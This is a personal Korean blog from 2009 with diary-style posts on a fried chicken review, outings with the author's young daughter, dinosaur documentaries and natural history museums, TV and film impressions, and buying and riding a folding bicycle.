회전이 빠른 진미통닭의 장점은 알맞은 커팅에 있다. 용성통닭이나 진미통닭이나 닭은 30 조각 정도로 분해하는 것 같은데, 진미통닭의 절단 방식이 닭을 발라먹기에 유리했다. 두 가게 모두 가마솥에 해표 식용유(콩기름)를 왕창 붓고 센불로 닭을 튀겼다. 가마솥의 용적과 두께 때문에 기름이 쉽게 식지 않아 튀김이 바삭바삭하다. 앉은 자리에서 먹으면 거개 배달해 먹는 동네치킨보다 바삭하고 고소하다. 심지어 빵가루나 쌀가루를 반죽에 섞어 튀기는 치킨들보다도 낫다.

프라이드 치킨의 가격은 12000원, 닭맛이야 어디가나 거기서 거기지만 진미통닭의 닭맛이 14000원짜리 동네치킨보다는 좀 낫고 양도 동네치킨의 1.5배 가량 된다. 서비스로 주는 모래집이나 닭발 따위는 식으면 별 맛 없어 별다른 장점이 되지 못한다고 생각했다. 내 편에서는 진미통닭이 용성통닭보다 좀 더 나았다. 하지만 두 집 다 찾아가서 먹기에는 거리가 있다.  결론: 진미통닭이 진리다.

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동북공심돈. iso 설정이 잘못되어서 사진이 이 따위로 나왔다. 찬바람에 벌벌 떨면서 딸애와 산책했다.

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광교저수지 옆의 약 2km 짜리 좁은 산책로. 아이를 데리고 놀러갔다. 등산로같지는 않았다. 꽤 좋았다.

아내의 세뇌교육 덕택에 딸애는 착하게 굴면 크리스마스에 '한반도의 공룡' 화보집을 받을 수 있을 꺼라고 믿고 있다. 한반도의 공룡은 타르보사우르스의 일대기를 담은 EBS의 다큐멘터리로 MBC의 '공룡의 땅'과 함께 작년에 대단한 히트를 기록했다. 등장인물은 네 발로 진흙바닥을 뒤뚱거리며 걷는 해남이쿠누스, 아무리봐도 티라노사우르스 렉스를 닮은 타르보사우르스와 그의 식량 프로토케라톱스, 친타오사우르스를 사냥하는  털없는(?) 벨로키랍토르, 타르보사우르스를 살해할 수 있을 정도로 강력한 앞 발을 가졌다고 해서 좀 황당했던 테리지노사우르스 등등이 등장한다.

내 취향은 어딘가 어설픈 '한반도의 공룡' 보다는, '공룡의 땅'이다. 화성에서 발견된 공룡 화석의 미스테리를 추척하며  이융남 박사가 필립 커리나 루이스 제이콥스 같은 쟁쟁한 사람들을 이끌고 몽골 탐사대를 조직해 화석 탐사에 나서는 내용이다.

옛날 대구에서 생긴 일: 지나가는 행인에 의해 신천변에서 공룡 화석 발자국이 발견되었지만, 대대적인 하천 공사로 신천 하상에서 발견된 공룡 발자국은 물막이 보로 인해 1m 수심에 푹 잠겼다. 담당 공무원은 공룡 발자국이 물 속에 있어야 보존이 잘 된다고 주장했다. 우연한 발견, 생업과 상관없는 공룡 발자국, 물막이 보, 삽질, 정신나간 공무원 등, 있을 것 다 있는, 그야말로 한국적인 정서가 듬뿍 배어있는 교훈적인 옛날 이야기다. 그런데 최근 들어 공룡 발자국 화석을 복원하기로 한 것 같다.

한국에는 공룡 화석이 드물게 발견되었다. 간단히 말해 물에 잠겼다 올라온 땅이 없다. 퇴적암 보다는 화성암이 많은 한국의 산하에서는 화석이 발견되기 어렵다. 그래서 서해안 일부, 태백산 부근, 그리고 경상도 인근 해안가를 제외하고 화석이 거의 발견되지 않았다 -- 그렇게 알고 있다. 뭐 관입된 화강암에 공룡 발자국이 찍힌 독특한 화석이 있지만.

고생물학에 특별히 큰 관심을 기울이지 않아 누군가의 도움 없이 공룡 발자국을 쳐다보는 것으로는  상상력이 샘솟지 않는다. 당연한 것이 기상학, 지질학(지구물리), 생물학, 해부학 등 적어도 7-8개의 학제에 걸친 배경지식이 없이는 공룡 발자국만 보고 7-15톤 짜리 공룡의 자태가  우아하게 떠오른다는게 더 이상한 것이다. 그래서 아이들에게 지대한 영향력을 끼치는 공룡에 관해 어린 시절에 그다지 보고 배운 것이 없다. 왠일인지 개성이 철철 넘치는 미국의 쥐라기, 백악기 공룡의 몇 안되는 이름만 알고 있을 뿐.

신생대 이전의 고생물학사에 관해서도 아주 어렴풋한 지식만 가지고 있었다. 수억년에 걸쳐 생성된 대기 덕택에 육지에 식물군이 융성하게 되고 바다말과 식물군이 생산한 엄청난 양의 산소가 지상을 곤충의 천국으로 만들었다 -- 날아다니거나 운동량이 많은 곤충은 대단히 많은 양의 산소를 소비하는데 대기중에 산소가 늘자 이런 곤충들이 득세하게 된 것이다. 이게 아마 캄브리아, 페름, 석탄기 시절의 이야기일 것이다.

물고기 시대인 데본기에 들어서 물고기 떼와 지느러미 달린 파충류가 바다에서 활달하게 돌아다니다가 몇몇이 뭍으로 기어올라왔다. 2004년에는 그것과 관련한 극적인 발견이 이루어졌다. Tiktaalik roseae . 뭍가에 공룡이 올라온 이유는... 음... 물 속에서 피식자와 포식자, 포식자와 포식자 사이에서 벌어지던 무한경쟁에 지친 파충류들이 흘낏 뭍을 쳐다보니, 뭍에는 포식자가 없을 뿐더러 1m짜리 잠자리 같은 육즙이 풍부한 곤충이 엄청나게 많은 낙원이었다.

트라이아스기에 뭍 근처에서 어설프게 절름거리며 떠돌던 파충류들은 풍부한 먹이를 먹고 점점 몸뚱이를 불렸다. 쥐라기와 백악기에 들어 거대공룡들이 융성한다. 트라이아스기 이후의 얘기는 아마 아이들이 더 잘 알고 있을 것이다. 난 150여종(?)의 분류가 된 공룡 중 고작해야 20여종을 간신히 구분하는 정도다.

내 꿈 중에 하나가  일주일 일정으로 스미소니언에 가보는 것이다 -- 화성시는 화성 인근에 자연사 박물관을 만들 생각인 것 같다. 이융남 박사의 주장에 따르면 화성은 수도권 인근이라 많은 사람들이 방문할 수 있으므로 자연사 박물관을 짓기에 좋은 입지조건을 갖추고 있단다. 만일 그렇게 된다면... 그렇게 되길 간절히 바라는데, 자연사 박물관, 특히 '제대로 된' 자연사 박물관이 지어지길 무척 고대한다. 그런데 혹시나 말인데, 오리지널 자연사 박물관 대신 생태주의나 환경주의를 공룡시대와 리믹스한 희안한 것이 들어서서, 환경을 오염시키면 지구가 멸망한다고 세뇌교육 따위나 시키게 되지는 않을까? 그런 건 제발 다른 곳에 맡겼으면 좋겠다. 공룡 화석 보는데 방해된다.

자연사 박물관의 파급효과는 아마도 계량이 어려울 테지만, 그것 때문에 공룡 몇 마리 보고 고생물학자가 되기를 꿈꾸는 어린이 몇 마리가 자연발생할 수도 있다는 차원은 아니라고 생각했다. 불운한 어린 시절을 보냈던 나 같은 사람은 서적 따위로 근근이 얻은 지식의 간극을 순전히 불확실한 추측과 남들의 가설과 견해에 의존해 피동적이고 수동적으로 받아들여 꿰메어야 했다. 말하자면 조각보 사나이가 되었다. 만지고 볼 수 있는 현실의 증거는 책 나부랑이 따위가 주는 수억년간의 감도 안 잡히고 머리속에서만 앵앵 거리는 역사와는 질적으로 아주 다르다. 지질시대로 구분되고, 고생물사의 연대기순으로 나열된 화석과, 그것을 채취하는 과정과, 어떻게 해서 그렇게나 많은 가설을 고작 석화된 뼈조각으로부터 이끌어낼 수 있었는지, 이런 종류의 지적 자극과 사고 경험은 인생에 가치있는 경험은 물론, 사고 방법의 현저한 변화를 가져다 준다고 믿는다. 극단적으로 말해, 자연스러운 개종 체험을 하게 한다.

삼엽충, 암모나이트 따위 조차도 어렵게 발견되는 한반도에서 누대(eon)에 걸친 장대한 지구의 역사를 현물로 체험할 수 있는 것은 대단한 즐거움이 될 것이다 --

오로지 색깔 구별 능력이 있는 동물만이 몸의 빛깔이 알록달록하다, 오로지 보고 듣고 만진 자만이 피상적인 지식의 지옥으로부터 벗어날 수 있다! 

중요한 얘기라서 열광적으로 적고 보니 여행을 하는 이유와 같은데, 반병신스러운 로봇 물고기 떼나 만들어 낚시꾼들이나 즐겁해 줄 돈으로 자연사 박물관이나 거창하게 지었으면 좋겠다.

이문환의 플라스틱 아일랜드에서 조식을 발견했다. 김조식은 예전에 내가 만든 이름이다. 작가가 그 이름이 좋아보인다며 자기 소설에 써먹겠다고 했던 것 같다. 그때 오예수라는 이름도 만들었다. 이외수가 oisu란 아이디를 사용해서 내가 활동하던 동호회에 들락거리는 걸 본 후로는 오이수를 사용할 수 없었다. 플라스틱 아일랜드 전반, 중반은 재밌고 좋았는데 후반에서 약빨이 떨어졌다. 쓸 것도 없어 빌빌거리던 후반에 크로울리 운운하면서 흑마술 관련한 이야기를 잔뜩 집어넣었으면 좋았을텐데. 홈페이지에 들러보니 잘 살고 있어서 딱히 안부인사를 전하지 않아도 될 것 같다. 한 5년 후면 그가 쓴 더 재밌는 소설을 볼 수 있을 지도 모를 일이다. '세월과 외로움 속에서 기억은 퉁퉁 불어 아비 어미도 알아볼 수 없는 시체가 되었다.'

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Wire in the Blood. S2E4 Sharp Compassion. 2기 마지막 화에서 드디어 알맞은 사진을 찾았다. 정치인은 인류를 두 종류로 나눈다. 도구와 적으로. -- 니체. 정치인은 psychopath와 비슷하고, psychopath와 sociopath는 종종 헷갈린다. 와이어 인 더 블러드의 주인공은 다감해서 사이코패스의 정신세계를 이해해주었다. 덱스터가 이 작자를 만났다면 어땠을까?

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Modern Family. 근래 보기 시작한 코미디. 딴세상에 사는 듯 눈치 없고 하는 짓마다 바보같은 필이 웃겼다. 가정에서 내가 하는 짓이 필과 비슷하기도 하고... 이거 히트감인데 인기는 별로 없어 보이네?

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V 2009. 미국 방문 비자를 들고 있는 못생긴 파충류 외계인. S1E4에서 감질맛나게 중단되었고 내년에 재개.

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Inglourious Basterds. 재밌다 없다도 판단이 안된다. 기억에 남는게 아무 것도 없다. 쿠엔틴 타란티노가 만든 건가? 어 역시 그랬군.

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2012. 지구가 망한다는데, 유시민은 그때 대선에 출마할 생각인 것 같다. 재난이 주연인 영화. 태양에 거대 흑점이 발생한 2012년, 태양풍에 평소보다 더 엄청난 양의 태양 뉴트리노 입자가 지구로 쏟아져 들어와서 지구 핵을 가열(뉴트리노가 지구 핵을 어떻게 가열한다는 거지?) .옐로우스톤의 수퍼 볼케이노가 예정대로 장엄하게 폭발한다. 북아메리카 서부 연안 도시가 붕괴될 때는 장쾌한 광경을 방해하는 분진류를 컴퓨터 그래픽에서 깨끗이 제거했다. 해발 5천5백미터 산들이 바닷물에 잠기면서 로라시아가 맛 가고 흡사 곤드와나처럼 생긴 대륙이 떡 하니 나타난다. 그야 뭐... 옥에 티가 하도 많아 일일이 지적하는 것은  시간이 아까운데 압도적인 화면 덕택에 잠시도 쉬지 않고 본 영화가 되겠다.

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Surrogate. 포샵질한 브루스 윌리스 출연. 그저그런 메시지나 담는 한심한 SF 영화도 아니고 그저그런 가젯과 테제를 나열하는 일반인용 SF도 아니고, 그렇다고 액션의 진실을 담은 것도 아닌데, 이상하게 재미있다. 나 같으면 서로게이트들 죽이지 않고 자기가 자기 자신이라는 믿기지 않는 현실을 떠안은 채 지지리 궁상맞게 살아야 하는 인류를 그대로 내버려 두겠다. 그럴 놈들은 그렇게 살다 가는게 바람직했다.

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Flash Forward. 막대한 제작비를 투입한(?) 영화 Surrogate에 비해 전 인류가 평화롭게 뻗은 광경은 이쪽이 좀 낫지 싶었다. 137초(?)동안 인류가 6개월 후의 미래를 보는 예지몽을 꾼다. 매크로적 규모로 벌어지는 일을 미시적으로 재구축하는데 스케일링이 어설퍼서 큰 재미를 보지는 못했다. 여기 출연한 한국인과 Lost에 출연한 한국인이 올해 10대 섹시남에 뽑혔단다. 신기했다.


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레비 스트로스 타계

잡기 2009. 11. 17. 21:58
하도 바빠 블로그를 작성할 시간이 없었다. 생각난 김에 써버리고 퍼블리시 하자.

LCROSS 덕택에 달 표면에 상당량의 물이 존재한다는 사실이 밝혀졌다. 달과 인연이 없으며, 처자식을 먹여 살려야 하는 내가 이런 얘기에 왜 환호성을 지르게 되는 지는 모르겠지만. 아무튼 그 기념으로 블로그에 달을 달았다. 달을 보니 올해 사자자리 유성우는 볼만 하겠는데?

'여기 원숭이, 팬더 그리고 바나나가 있다. 셋 중 두 개를 묶어야 한다면 당신은 무엇을 택하겠는가?' -- EBS의 다큐 프라임에서 본 문구. 원숭이와 팬더를 묶었더니 서양식 사고방식이란다.

레비 스트로스가 돌아가셨다. 고인의 명복을 빈다. 그의 책을 읽을 무렵(한 15년 전이려나?) 대략 4-5년의 시기가  내 몸에 때처럼 끼어있던 서구식 사고방식 대부분을 재구성하던 시기였다 -- 말이 좋아 재구성이지 서구에 대한 혐오감이 상당했던 시기였다. 내가 내 자신의 바탕을 이루는 것을 그렇게나 싫어했지만 여전히 서구식 사고방식으로 현상과 사물을 대했다.

한 삼십년은 기술자가 되려고 애쓰느라 세상사에 관심이 없었다. 내 관심사는 먹고 사는 문제도 아니고 더불어 사는 공존공영의 문제도 아니었다. 어떻게 하면 내가 만족할 수 있는 수준의 기술력에 도달하느냐는 것. 그렇지만 기술적으로 비겁하게 살지 말자고 다짐하곤 했다. 말 그대로 꼼수를 부리지 않고 알고리즘과 로직으로만 승부하겠다고. 요즘은 절차, 공정, 효율의 문제로 생각보다 가슴아픈 타협을 하면서 근근이 기술자의 양심을 팔아먹고 살고 있는 것 같다. 어쨌거나 딜버트의 넌센스 시대는 가고 막되먹은 오피스의 시대가 왔다.

"짐은 내 적이죠. 하지만 짐의 가장 큰 적은 그 자신이라는게 밝혀졌죠. 내 적의 적은 내 친구니까 실제로 짐은 내 친구죠. 하지만 그의 가장 큰 적은 그 자신이기도 하니까 내 친구의 적은 내 적이고 그러니까 짐은 내 적이 되는 거죠. 하지만..." -- The Office, S6E7 논박의 여지가 전혀 없어 보이는 사무실 넘버쓰리 드와이트의 논리. 이참에 나도 dunder mifflin의 티셔츠를 구입해서 입고 다닐까? World's best boss 머그 잔과 함께.


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주중에는 안 되지만 주말에는 지하철 양끝 칸에 자전거를 세울 수 있게 되어 있다. 사실 접이식 자전거라서 주중에도 얼마든지 들고 탈 수 있었다.

모토롤라에서 드로이드폰이 나왔다. 안드로이드폰의 국내 출시를 학수고대하고 있다. 그 동안은 이 거지같은 애니콜 Windows mobile로 어떻게든 버티는 거다. 구글은 구글 내비게이터를 무료로 공개했고, 언제 망해도 이상할 것이 하나도 없는 Garmin과 Tomtom의 주가는 구글 내비게이터의 발표 즉시 곤두박질쳤다. 망해도 싸다.

주식투자를 시작한 지 3개월 가량 되었다. 어보브 반도체로 투자액의 50%를 말아먹고 하이닉스와 모두투어로 그 절반을 되찾았다. 올해 말이나 내년 중 투자하려고 생각하는 업체는 두 군데. 주식투자가 생각보다 재미가 없고(돈을 벌거나 말거나 그런 차원이 아니라 그냥 재미가 없다) 흡사, 흐르는 강물에 비친 굴절된 이미지를 좇아 헛발질로 송어를 낚으려고 애쓰는 듯한 기분. 대충하고 말자. 취향에 안 맞는다.


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주말에는 별 일 없으면 아이를 데리고 여기저기 떠돌아다녔다. 낙엽이 다 떨어지기 직전에 물향기 수목원을 방문했다. 갑자기 왠 메타세콰이어가 나타났다.

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딸기마을, 딸기가 좋아. 에 가려고 영등포 타임스퀘어에 갔다. 방콕 중심가의 백화점에 온 듯한 착각. 루이 비통인지 돌체앤 가바나인지 매장 앞에서 줄서서 기다리는 젊은이들을 보았다. 나는 키가 175cm 밖에 안 되는 루저라서 루이 비통 노트북 가방을 살 능력도 없고, 있어봤자 돼지목에 진주목걸이다. 세미나에서 무료로 나눠주는 노트북 가방은 튼튼하고 실용적이다. 매년 하나씩은 받아 잘 사용하고 있다.

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애 치고는 눈빛이 총총하게 생겼다지만 왼쪽의 또래처럼 '글자를 모르니까 답답해. 어서 글자를 배웠으면 좋겠어'라고 말한 적이 없다. 어린 가우스는 시계바늘을 보고 어른들이 시간을 말하는 것을 듣고, 순전히 유추만을 사용해서 시간 읽는 법을 깨우쳤다. 어린 가우스는 심지어 헬로키티 TV컴퓨터를 사달라고 떼를 쓰지도 않았다. 천재는 고사하고 다섯살도 안된 아이에게 그건 돼지목에 진주목걸이랄까?

커서 뭐가 되고 싶니? 물으니, 벨로시랩터가 되고 싶어요. 라고 말했다. 아이의 친구는 20여마리의 공룡 장난감이다. 아침, 저녁으로 공룡 책을 읽고 공룡들과 목욕하고 공룡 영화를 보고 공룡 장남감을 가지고 놀았다. 낯선 사람이 다가오면 벨로시랩터처럼 크르릉거리며 위협한다. 이건 좀 아닌 것 같은데... 어쩌다 이렇게 된 거지?

공기 위를 걷는 사람들, 가브리엘 워커. 첫 장부터 재미있더니 마지막 장까지 흥미진진했다. 지구 대기를 다루는 이 과학교양서는 무척 지루하고 재미없는 주제를 관련 인물들의 격정적이고 열렬한 모험 연대기로 바꿔놓았다. 남극에 거주하는 괴상한 과학자들은 소문으로만 알고 있었다. 제임스 러브록이 과학사의 불운한 희생양이 되는 대목에서는 경악하기도 했고 마르코니의 뚝심과 열정은 감탄스러웠다. 타이타닉과 무선통신에 얽힌 이야기는 신선했다. 도서관에서 무작위로 책을 고르다가 단지, 차세대 과학저술가라는 가브리엘 워커의 평판에, 어디 얼마나 대단한가 좀 보자는 심술 때문에 빌려 읽었는데 생각보다 좋았다. 심지어 여성 저술가들에게는 눈을 씻고도 찾아볼 수 없는 유머 감각마저 있다. 책을 뒤적여 적당한 인용구를 당장 찾기 어려워(이를테면 밴 앨런의 결혼 스토리) 반납하기 전에 무작위로 둘 만.
문제는 우리가 산소를 호흡에 사용할 때마다 일부 전자가 떨어져나온다는 데 있다. 아무 것도 하지 않고 그저 숨만 쉬고 있는데도 우리가 소비하는 산소 중 약 2%는 자유 라디칼로 변한다. 격렬한 운동을 할 때에는 그 비율이 10%로 커진다. 어떤 계산에 따르면, 1년 동안 단순히 호흡하는 데서 입을 수 있는 잠재적 피해는 흉부 X선 사진을 1만 번 찍을 때 방사선으로 입는 피해와 비슷하다.

밴 앨런은 우리 머리 위에 떠 있는 방사능 구름에 자신의 이름을 남겼다. 그렇지만 그는 거기서 그치지 않았다. 1973년, 무인 탐사우주선 파이어니어 10호의 청정실에서 작업을 하던 밴 앨런은 은밀히 흰 장갑을 벗고 거기에 지문을 남겨놓았다. 알데바란을 향한 200만년 이상이 걸리는 이 우주 여행에는 밴 앨런의 지문도 함께 승선하고 있다.

어떤 마술의 금서목록(Index Librorum Prohibitorum)  -- '아무래도 지금 미사와 학원은 과학 숭배를 축으로 한 사이비 종교로 변한 듯하다' 이 애니는 스즈미야 하루히의 우울과 마찬가지로 주제와 목적이 없는 듯. 요즘 애니의 추세인가? 아무리 빙하기라지만 일본 SF 애니는 다 어디로 사라진걸까...

혼블로워 시리즈를 이제야 모두 읽었다. 하루 30분, 주 4일 독서로는 제대로 책을 읽기 어렵다. 는 것을 알았다. 얼마전까지만 해도 내가 진행하는 프로젝트는 일곱 개나 되었다. 그래서인지 혼블로워 시리즈는 전쟁 역사서에서 보곤 하던 제너럴십에 관한 얘기라고 생각했다. 내가 매정하고 냉정하며 목표를 위해서 타인과 나를 희생하고 채찍질하고 엄격한 기준을 들먹이는 것이 당연하다고 생각하기 때문에 어쩌면 사이코패스 아니, 리더에 적합했다. 그렇지만 내가 좋은 리더가 될 수 있을까?

Stargate: Universe. 시작이 좋았지만 5화에 이르러 stargate의 고질병인 닭대가리 저질 각본이 다시 재연되는 것을 보고 이 시리즈도 보다 말게 되는 건 아닐까 하는 기우 -- 흐리멍텅하고 흐지부지한 아틀란티스는 끝까지 보지 못했다. 캐릭터 중 일부는 밥맛떨어지게 BA를 닮았다. 스타게이트 시리즈는 군인과 과학자에 관해 바보스럽고 허황된 스테레오타잎에 지나치게 의존했다. 그런 캐릭터나 각본이 재밌을 리가 없다. 누가 대충 함량만 지키면, 말하자면 중국산 대두를 92% 사용하고 메주 페이스트는 고작 23% 가 안 되는 그런걸 된장이라고 시장에 내놓으면서 된장이라고 우기는 것을 인정하는 종류의 '일반인'이 아니라, 100% 국산 메주와 천일염을 사용하는, 친정에서 얻어온 된장이 된장이라고 믿는 종류의 순혈주의를 지향하는 SF 원리주의 오타쿠라서 한국에서 대부분이 SF라고 주장하는 갖잖은 것들에 내심 콧방귀를 즐겨 끼며, 가식적이고 위선적이고 정치적인 태도를 취했다. 그럼 100% 메주에 버금가는 SF란 도대체 무엇인가? 그에 관한 친절한 설명은 비평가에게 맡기는 비겁함마저 제대로 갖췄다고 스스로 생각. 다만, 'SF 원리주의 오타쿠'란 1970년대 과학만능시대의 기억이 돌이킬 수 없게 임프린트 되어 서사의 형태로 주어진 매체에 대한 적절한 반응과 행동양식을 반사조건으로 할 뿐만 아니라 그의 내적 가치체계가 심대한 영향을 받아, 예를 들어 안타레스행 우주선에 탑승할 자격이 주어진다면 기꺼이 가족과 친지를 헌신짝처럼 내팽개치고 밑도 끝도 없는 항해에 지원할 정도로 종교적 열광 상태에 빠져버린 미치광이를 의미한다.

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그렇게나 미덕이 없는 스타게이트 시리즈지만, 스타게이트: 유니버스에서 제일 마음에 들었던 사람은, 다른 사람들을 고작 하루 더 살리기 위해 자신을 희생한 정치가다. 더더욱 마음에 드는 것은 극 초반의 아이캐치 역할을 할 뿐 곧 잊혀질 인물이란 것. 파이어플라이 이후 스페이스 오페라에서 사용하는 카메라웍과 연출은 뭘 봐도 똑같았다.
 
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Wire in the Blood: 아무래도 내가 이 드라마를 사랑하는 것 같다. 이런 도서관이 동네에 있으면 얼마나 좋을까 한숨을 쉬며 바라보았다...

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하지만 2기에 들어 헤르미온느가 얼굴이 이 모양이 되어서... 오 쉣! 아줌마라니!!

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Defying Gravity. 최초로 금성 표면에 발을 내려놓으며 여자가 말했다. 'Mark the day with a footprint. A step forward in the path of man.' 행성에 발을 들여놓을 때 할만한 썩 좋은 대사다. Defying Gravity는 2기까지 가지 못하고 커튼을 내렸다. 로스트식 전개와 휴머니티로 많이 찌질해 보여도, 각본이나 원작, 연출, 음악 등이 나쁜 것은 아니어서 어떻게든 잘만하면 괜찮은 드라마가 될 뻔 했는데 아쉽다.


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돈 안되는 일

잡기 2009. 10. 26. 23:45
두어 달 지하철을 안 타다가 얼마 전에 타보니 우측 통행 스티커가 붙어 있다. 히죽 웃었다. 진작 하셨어야지.

취미 생활로 지도 만든다니까, 요새 자주 묻는 질문과 답변 하나.

Q. 그거 돈 되요?
A. 내가 지도 작업을 하게 된 것은, 어떤 외국인이 OSM 한국 지도를 보고 자전거를 타고 한반도를 돌아다니는 모습을 상상하는데, 그건 내가 OSM 일본 지도를 보고 일본 열도를 자전거 타고 돌아다니는 흐뭇한 모습을 상상하는 것과 마찬가지라고 생각하거든. 그래서 말은 되지만 돈은 안되~

최근에는 대부분의 사진을 휴대폰 카메라로 찍었다. 뭘 찍어도 사진이 구렸다. 한동안 틈틈이 카메라 스펙 쇼핑을 했다. 사고 싶은 카메라는 Casio EX-Z450이다. 배터리 한 번 충전으로 550여장을 찍을 수 있고 H.264 동영상 녹화가 가능하다(무엇보다도 H.264 동영상 녹화가 중요). 렌즈 밝기도 그만하면 됐다. 8GB SD 포함해서 최저가는 361230원. 2-3개월 기다리면 가격이 떨어질까? 이 카메라를 사는 사람들이 있긴 한지 궁금하다.

responsible travel, political travel 이란 범주의 '여행 방식'에 관한 글을 찬찬히 읽어보았다. 배낭여행이잖아? 또는 배낭여행에 꽃칠한 건가? 돈없이 찌질거리며 다니지 않는 배낭여행을 말하고자 함인가? 미얀마 여행을 할 것인가, 말 것인가, 거기 갖가지 핑계를 갖다붙일 수 있지. 여행을 해서는 안 될 이유와, 여행해야 할 이유 따위들. 그렇게 생각하면 두 단어는 좌파 등신들이 갖다 붙이기 좋아하는 좀  역겨운 정의역 이거나 마케팅 용어처럼 여겨지기도 한다. 그러므로 특별히 할 말이 있어야 할 이유가 없기 때문에 비아와 상관없다, 게다가 이견부주심막추심이다.

잦은 자전거 사고로 머리가 아파서 자전거 보험을 알아봤으나, 내가 다쳤을 때 보장하는 것은 쥐꼬리만하고 내가 자전거로 남을 치었거나 기물을 파손했을 때 보장해 주는 것이다. 일반 상해 보험과 다를 것 없고, 심지어 자전거 도난도 보험 처리가 안 된다. 거의 쓸모가 없는 보험이랄 수 있겠다. 하지만 이런 자전거 보험을 들고 최소한 마음의 평안을 얻은 사람들도 많은 듯.

 이사가면 자전거를 사주겠다고 아내에게 약속했다. 뭐 사실 본인은 원치도 않지만 기껏 자전거 타는 것을 가르쳐줬는데 이 김에 자전거 좀 타보도록 권하고, 안 타면 내가 타고 다니면 된다는 생각으로 아내가 몰고 다닐만한 자전거를 알아봤다.  

수년 전 어렵사리 아내에게 자전거 타는 방법을 가르쳐 주었다. 의외로 쉽게 배우는 것으로 보아 용기가 없었지 운동신경이 없는 것은 아니었다. 여러 기종을 알아봤지만 가격대가 높아야 그나마 성능이 좀 되는 것들이라 참 고르기가 난감했다. 브롬톤이나 KHS가 좋지만 많이 비싸다. 첼로에서 나온 블랙캣 컴팩트3.0이 의외로 사양이 좋았다. 다혼 OEM 차체이고 더더군다나 폴딩이 되면서 성능도 어느 정도 괜찮아 보였다. 무엇보다도 29만원! 두말 없이 구입했다.

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사무실로 배달온 날 밤에 갑자기 비가 와서 비 맞으며 자전거를 몰고 전철역까지 몰고 갔다. 바퀴 크기가 20인치라서인지 핸들이 휙휙 돌아가고 바퀴가 작은데다 핸들과 싯포스트만 높아 어쩐지 불안하다. 유사 MTB를 타고 다닌 탓에 작은 턱은 그냥 오르락 내리락 했는데 작은 바퀴로 턱을 오르려니 불안하게 덜컹거렸다. 어쨌던 도서관에 책 반납하러 가려고 책을 뒤에 묶었다. 자전거에는 뒤에 묶는 편리한 고무줄과 페인트 수정액이 포함되어 있었다. 센스있다. 색깔은 이것 밖에 없으니 선택의 여지가 없다. 흰색이 좋은데...

6단 기어로 대략 22~24kmh 정도가 나오고 8단에서 30kmh 정도가 가능하다. 다만 고개를 오를 때 조금 경사 있는 곳을 오르니 앞 바퀴가 들려서 황당했다. 안장 위치를 앞으로 조금 당기고 핸들바를 낮추니 쓰러지진 않겠다. 어차피 아내가 타려면 싯과 핸들바 사이가 내가 타는 것보다는 좁아야 하고, 다리를 편하게 뻗으려면 MTB의 다이아몬드 형태의 프레임보다는 이게 나을 듯.

GPS도 마운팅. 핸들바가 높다. 자전거 무게는 12.2kg로 그렇게 가볍진 않은 편. 의외로 자전거가 탈만 해서 놀랐다. 아내보다 내가 더 자주 사용하게 될 것 같다. 그런데 차체의 길이가 26인치 자전거와 같다. 생각보다 자전거가 길다.
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접으면 양 바퀴가 휠체어처럼 겹쳐지므로 seat을 잡고 질질 끌고 가면 되는데, 그렇게 끌고 가기에 뭔가 좀 부족하다. 접거나 펴는 것은 쉽지만 핸들바의 높이와 싯포스트의 높이를 매번 맞추는 것은 좀 귀찮다.
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26인치 자전거에 붙였던 아기 안장을 달아 보았다. 페달이 발 거치대와 붙어 아기 안장 뒷부분을 톱으로 잘라내 뒤로 밀었다. 다소 불편하긴 해도 아이 태우고 다니는데 무리가 없었다. 이러고 주말에는 시내를 돌아다녔다. 세워둔 자전거가 두 번 자빠지고 아이도 자빠졌지만 울지 않았다. 튼튼해뵈는 자전거다.

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얘가 장난감 차의 핸들링을 할 줄 알아서 흥미로웠다. 하지만 주행보다는 보이는 대로 벽이건 턱이건 쿵쿵 박고 자동차가 뒤집히는 걸 더 즐거워 해서 식겁했다.

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주말에 또다시 수원 화성에 갔다. 화성 성벽 워킹 투어 코스의 길이는 대략 6.5km로 입장료는 천원, 수원 시민은 공짜다. 전날 먹은 술이 덜 깨 아침부터 머리가 쿵쿵거려 오후까지 자다가 아이를 성벽에 데리고 갔다.

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화홍문 누각. 앉아서 놀기 딱 좋은 곳. 아이에게 잔디밭에서 미끄럼을 태워 주고 장안문에서 아이스크림을 사줬다. 화성박물관에서 정조의 '초딩체' 구경도 시켜주었다. 정조의 이름은 이산이 아니라 이성이란다. 화성에 올 때마다 느끼는 거지만, 이거 정말 괜찮다. 화성관광 추천코스라도 만들어 세계문화유산의 도시에 사는 수원시민의 도리를 다해야 하는 것은 아닐까 싶지만 생각해보니, 이사온 지 겨우 두 달 밖에 안 되었다.

낼모레에는 이명박 정부 심판(??) 보궐선거에도 참여해야 한다. 심판? KT&G 자리를 확 밀어버리고 공원으로 만들어 버리겠다는 민주당의 이찬열을 찍기로 했다. 거기가 왜 공원이 아닌지 의아했다.

자전거 타고 돌아오는 길에 줄 서서 기다리며 먹는 희안한 만두가게(보영만두)에서 만두와 쫄면을 포장주문했다. 집에 가져와 아내와 먹어보니 쫄면과 고기만두는 괜찮았지만 김치만두는 별로였다. 미니벨로에 애를 태우고 이틀동안 돌아다녔다. 그나저나 서울 에어쇼에 못 간 것이 아쉽다.

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'Endless freaking wonder' Warehouse 13. Eureka, Stargate Atlantis의 낮익은 배역들이 등장.  어 이거 테슬라잖아?
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루즈 장군의 화려한 귀환. 주차해놓은 자동차가 썩어갈 때까지 퇴근하지 못하는 응급실 의사에 관한 미스테리물. 배우가 같은 걸 보니, 바티스타 어쩌구의 속편격인가 보다. 멍청한 척 하는 여자와 똑똑한 척 하는 남자의... 이도 저도 아니게 김 새는 추리물.
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Observe & Report. Seth Rogen이 주연하는 코미디물은 이것으로 두 번째 본다. 처음 본 것이 Pineapple Express. 오타쿠.
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Man Som Hatar Kvinnor. 밀레니엄이란 멀티밀리언셀러를 원작으로 하는 영화. 주인공 여배우는 자기를 강간한 놈을 두들겨 패고 그의 가슴에 '나는 변태이고 강간범입니다'라고 문신을 새긴 후 일 년 동안 그놈으로부터 돈을 갈취한다. 문신을 새기는 귀여운 여자애 빼고는 흔히 보는 세상의 오욕에 쩌든 더럽고 지저분한 소재를 다루는 영화. 그런데 요새는 왜 괜찮은 느와르가 없는 걸까? 막되먹은 아저씨, 아줌마들 때문에 일찌감치 돈에 쩌든 불쌍한 애새끼들의 어설픈 비정함은 세상에 차고 넘치는데.

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Wire In The Blood. 모처럼 보는 썩 훌륭한 범죄물. T.S. Elliot의 싯귀에서 따온 제목. 니체의 심연이 생각나는 Episode 1 Mermaid Singing의 마지막 장면.

